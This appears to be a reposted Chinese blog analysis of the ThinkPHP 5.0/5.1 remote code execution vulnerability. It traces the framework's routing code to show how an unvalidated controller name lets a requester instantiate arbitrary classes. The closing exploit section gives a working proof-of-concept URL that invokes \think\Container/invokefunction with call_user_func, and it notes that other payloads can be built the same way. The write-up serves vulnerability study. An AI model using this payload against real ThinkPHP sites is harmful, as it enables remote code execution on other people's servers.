本文首發自安全脈搏,轉載請注明出處。
前言
ThinkPHP官方最近修復了一個嚴重的遠程代碼執行漏洞。這個主要漏洞原因是由於框架對控制器名沒有進行足夠的校驗導致在沒有開啟強制路由的情況下可以構造惡意語句執行遠程命令,受影響的版本包括5.0和5.1版本。
測試環境:
ThinkPHP 5.1 beta + win10 64bit + wamp
漏洞分析
網上已經有些分析文章了,我就正向分析下這次漏洞過程。不同版本的ThinkPHP調用過程和代碼會稍有差異,本文分析的是ThinkPHP 5.1 beta的代碼,其他版本的可以類似的分析。
首先程序會加載thinkphp/library/think/App.php ,運行run函數
public function run() { // 初始化應用 $this->initialize(); try { if (defined('BIND_MODULE')) { // 模塊/控制器綁定 BIND_MODULE && $this->route->bindTo(BIND_MODULE); } elseif ($this->config('app.auto_bind_module')) { // 入口自動綁定 $name = pathinfo($this->request->baseFile(), PATHINFO_FILENAME); if ($name && 'index' != $name && is_dir($this->appPath . $name)) { $this->route->bindTo($name); } } $this->request->filter($this->config('app.default_filter')); // 讀取默認語言 $this->lang->range($this->config('app.default_lang')); if ($this->config('app.lang_switch_on')) { // 開啟多語言機制 檢測當前語言 $this->lang->detect(); } $this->request->langset($this->lang->range()); // 加載系統語言包 $this->lang->load([ $this->thinkPath . 'lang/' . $this->request->langset() . '.php', $this->appPath . 'lang/' . $this->request->langset() . '.php', ]); // 獲取應用調度信息 $dispatch = $this->dispatch; if (empty($dispatch)) { // 進行URL路由檢測 $dispatch = $this->routeCheck($this->request); } // 記錄當前調度信息 $this->request->dispatch($dispatch); // 記錄路由和請求信息 if ($this->debug) { $this->log('[ ROUTE ] ' . var_export($this->request->routeinfo(), true)); $this->log('[ HEADER ] ' . var_export($this->request->header(), true)); $this->log('[ PARAM ] ' . var_export($this->request->param(), true)); } // 監聽app_begin $this->hook->listen('app_begin', $dispatch); // 請求緩存檢查 $this->request->cache( $this->config('app.request_cache'), $this->config('app.request_cache_expire'), $this->config('app.request_cache_except') ); // 執行調度 $data = $dispatch->run(); } catch (HttpResponseException $exception) { $data = $exception->getResponse(); } // 輸出數據到客戶端 if ($data instanceof Response) { $response = $data; } elseif (!is_null($data)) { // 默認自動識別響應輸出類型 $isAjax = $this->request->isAjax(); $type = $isAjax ? $this->config('app.default_ajax_return') : $this->config('app.default_return_type'); $response = Response::create($data, $type); } else { $response = Response::create(); } // 監聽app_end $this->hook->listen('app_end', $response); return $response; }
跟進這個路由檢測的routeCheck函數
public function routeCheck() { $path = $this->request->path(); $depr = $this->config('app.pathinfo_depr'); // 路由檢測 $files = scandir($this->routePath); foreach ($files as $file) { if (strpos($file, '.php')) { $filename = $this->routePath . DIRECTORY_SEPARATOR . $file; // 導入路由配置 $rules = include $filename; if (is_array($rules)) { $this->route->import($rules); } } } $must = !is_null($this->routeMust) ? $this->routeMust : $this->config('app.url_route_must'); // 路由檢測(根據路由定義返回不同的URL調度) return $this->route->check($path, $depr, $must); }
routeCheck函數又調用了path函數,跟進這里的path函數
在 thinkphp/library/think/Request.php 中定義
public function path() { if (is_null($this->path)) { $suffix = $this->config->get('url_html_suffix'); $pathinfo = $this->pathinfo(); if (false === $suffix) { // 禁止偽靜態訪問 $this->path = $pathinfo; } elseif ($suffix) { // 去除正常的URL后綴 $this->path = preg_replace('/\.(' . ltrim($suffix, '.') . ')$/i', '', $pathinfo); } else { // 允許任何后綴訪問 $this->path = preg_replace('/\.' . $this->ext() . '$/i', '', $pathinfo); } } return $this->path; }
這里的pathinfo也是在Request.php中定義的
public function pathinfo() { if (is_null($this->pathinfo)) { if (isset($_GET[$this->config->get('var_pathinfo')])) { // 判斷URL里面是否有兼容模式參數 $_SERVER['PATH_INFO'] = $_GET[$this->config->get('var_pathinfo')]; unset($_GET[$this->config->get('var_pathinfo')]); } elseif ($this->isCli()) { // CLI模式下 index.php module/controller/action/params/... $_SERVER['PATH_INFO'] = isset($_SERVER['argv'][1]) ? $_SERVER['argv'][1] : ''; } // 分析PATHINFO信息 if (!isset($_SERVER['PATH_INFO'])) { foreach ($this->config->get('pathinfo_fetch') as $type) { if (!empty($_SERVER[$type])) { $_SERVER['PATH_INFO'] = (0 === strpos($_SERVER[$type], $_SERVER['SCRIPT_NAME'])) ? substr($_SERVER[$type], strlen($_SERVER['SCRIPT_NAME'])) : $_SERVER[$type]; break; } } } $this->pathinfo = empty($_SERVER['PATH_INFO']) ? '/' : ltrim($_SERVER['PATH_INFO'], '/'); } return $this->pathinfo; }
分析可知 $this->config->get('var_pathinfo') 默認值是s(var_pathinfo是在config/app.php里硬編碼的),所以我們可利用$_GET['s']來傳遞路由信息。
回到 thinkphp/library/think/App.php , 運行到執行調度
這個就是 thinkphp/library/think/route/dispatch/Module.php 函數run的實例
class Module extends Dispatch { public function run() { $result = $this->action; if (is_string($result)) { $result = explode('/', $result); } if ($this->app->config('app.app_multi_module')) { // 多模塊部署 $module = strip_tags(strtolower($result[0] ?: $this->app->config('app.default_module'))); $bind = $this->app['route']->getBind(); $available = false; if ($bind && preg_match('/^[a-z]/is', $bind)) { // 綁定模塊 list($bindModule) = explode('/', $bind); if (empty($result[0])) { $module = $bindModule; $available = true; } elseif ($module == $bindModule) { $available = true; } } elseif (!in_array($module, $this->app->config('app.deny_module_list')) && is_dir($this->app->getAppPath() . $module)) { $available = true; } // 模塊初始化 if ($module && $available) { // 初始化模塊 $this->app['request']->module($module); $this->app->init($module); // 加載當前模塊語言包 $this->app['lang']->load($this->app->getAppPath() . $module . '/lang/' . $this->app['request']->langset() . '.php'); // 模塊請求緩存檢查 $this->app['request']->cache( $this->app->config('app.request_cache'), $this->app->config('app.request_cache_expire'), $this->app->config('app.request_cache_except') ); } else { throw new HttpException(404, 'module not exists:' . $module); } } else { // 單一模塊部署 $module = ''; $this->app['request']->module($module); } // 當前模塊路徑 $this->app->setModulePath($this->app->getAppPath() . ($module ? $module . '/' : '')); // 是否自動轉換控制器和操作名 $convert = is_bool($this->caseUrl) ? $this->caseUrl : $this->app->config('app.url_convert'); // 獲取控制器名 $controller = strip_tags($result[1] ?: $this->app->config('app.default_controller')); $controller = $convert ? strtolower($controller) : $controller; // 獲取操作名 $actionName = strip_tags($result[2] ?: $this->app->config('app.default_action')); $actionName = $convert ? strtolower($actionName) : $actionName; // 設置當前請求的控制器、操作 $this->app['request']->controller(Loader::parseName($controller, 1))->action($actionName); // 監聽module_init $this->app['hook']->listen('module_init', $this->app['request']); // 實例化控制器 $instance = $this->app->controller($controller, $this->app->config('app.url_controller_layer'), $this->app->config('app.controller_suffix'), $this->app->config('app.empty_controller'), false); if (is_null($instance)) { throw new HttpException(404, 'controller not exists:' . Loader::parseName($controller, 1)); } // 獲取當前操作名 $action = $actionName . $this->app->config('app.action_suffix'); if (is_callable([$instance, $action])) { // 執行操作方法 $call = [$instance, $action]; // 自動獲取請求變量 $vars = $this->app->config('app.url_param_type') ? $this->app['request']->route() : $this->app['request']->param(); } elseif (is_callable([$instance, '_empty'])) { // 空操作 $call = [$instance, '_empty']; $vars = [$actionName]; } else { // 操作不存在 throw new HttpException(404, 'method not exists:' . get_class($instance) . '->' . $action . '()'); } $this->app['hook']->listen('action_begin', $call); return Container::getInstance()->invokeMethod($call, $vars); } }
跟進92行的實例化控制器
對應的代碼 thinkphp/library/think/App.php
public function controller($name, $layer = 'controller', $appendSuffix = false, $empty = '', $throwException = true) { if (false !== strpos($name, '\\')) { $class = $name; $module = $this->request->module(); } else { if (strpos($name, '/')) { list($module, $name) = explode('/', $name); } else { $module = $this->request->module(); } $class = $this->parseClass($module, $layer, $name, $appendSuffix); } if (class_exists($class)) { return $this->__get($class); } elseif ($empty && class_exists($emptyClass = $this->parseClass($module, $layer, $empty, $appendSuffix))) { return $this->__get($emptyClass); } elseif ($throwException) { throw new ClassNotFoundException('class not exists:' . $class, $class); } }
問題出在這
當$name以反斜線\開始時直接將其作為類名。
並且在746行調用__get函數
繼續跟進__get,調用container類的make函數
跟進make函數,可以得到這個是實例化一個類。也就是說通過$name變量可以控制類名,並且會實例化這個類。
回到 thinkphp/library/think/route/dispatch/Module.php 的run函數,繼續看下面的代碼
通過$this->app['request']->param()獲取實例化類對應的參數,然后通過invokeMethod 函數動態調用方法(跟進invokeMethod可以知道這邊主要是通過反射函數實現動態調用)。至此,ThinkPHP 5 整個路由的過程已講完,類的實例化與方法調用也已完成。
Exp分析
http://localhost/thinkphp5.1beta/public/index.php?s=index/\think\Container/invokefunction&function=call_user_func&vars[0]=phpinfo&vars[1]=1
通過上面的分析知道通過s就可以獲取路由信息。
分析下index/\think\Container/invokefunction&function=call_user_func&vars[0]=phpinfo&vars[1]=1 這個payload
-
index是對應的模塊
-
\think\Container 以反斜線開頭,這就是我們想要實例化的類
-
invokefunction是想\think\Container類想要調用的方法,
-
function=call_user_func&vars[0]=phpinfo&vars[1]=1是對應invokefunction的參數。
關於如何解析把function=call_user_func&vars[0]=phpinfo&vars[1]=1這些解析成invokefuncition參數的,可以看下Request.php 對應的param函數。
對於選用invokefunction這個函數,是因為這也是個反射函數,可以方便的調用任何函數。
需要注意的是不同版本的TP,對應的文件、類名有些差異。當然還有很多的攻擊方式,只要你去文件找到可以實例化的類構造相應的payload就行。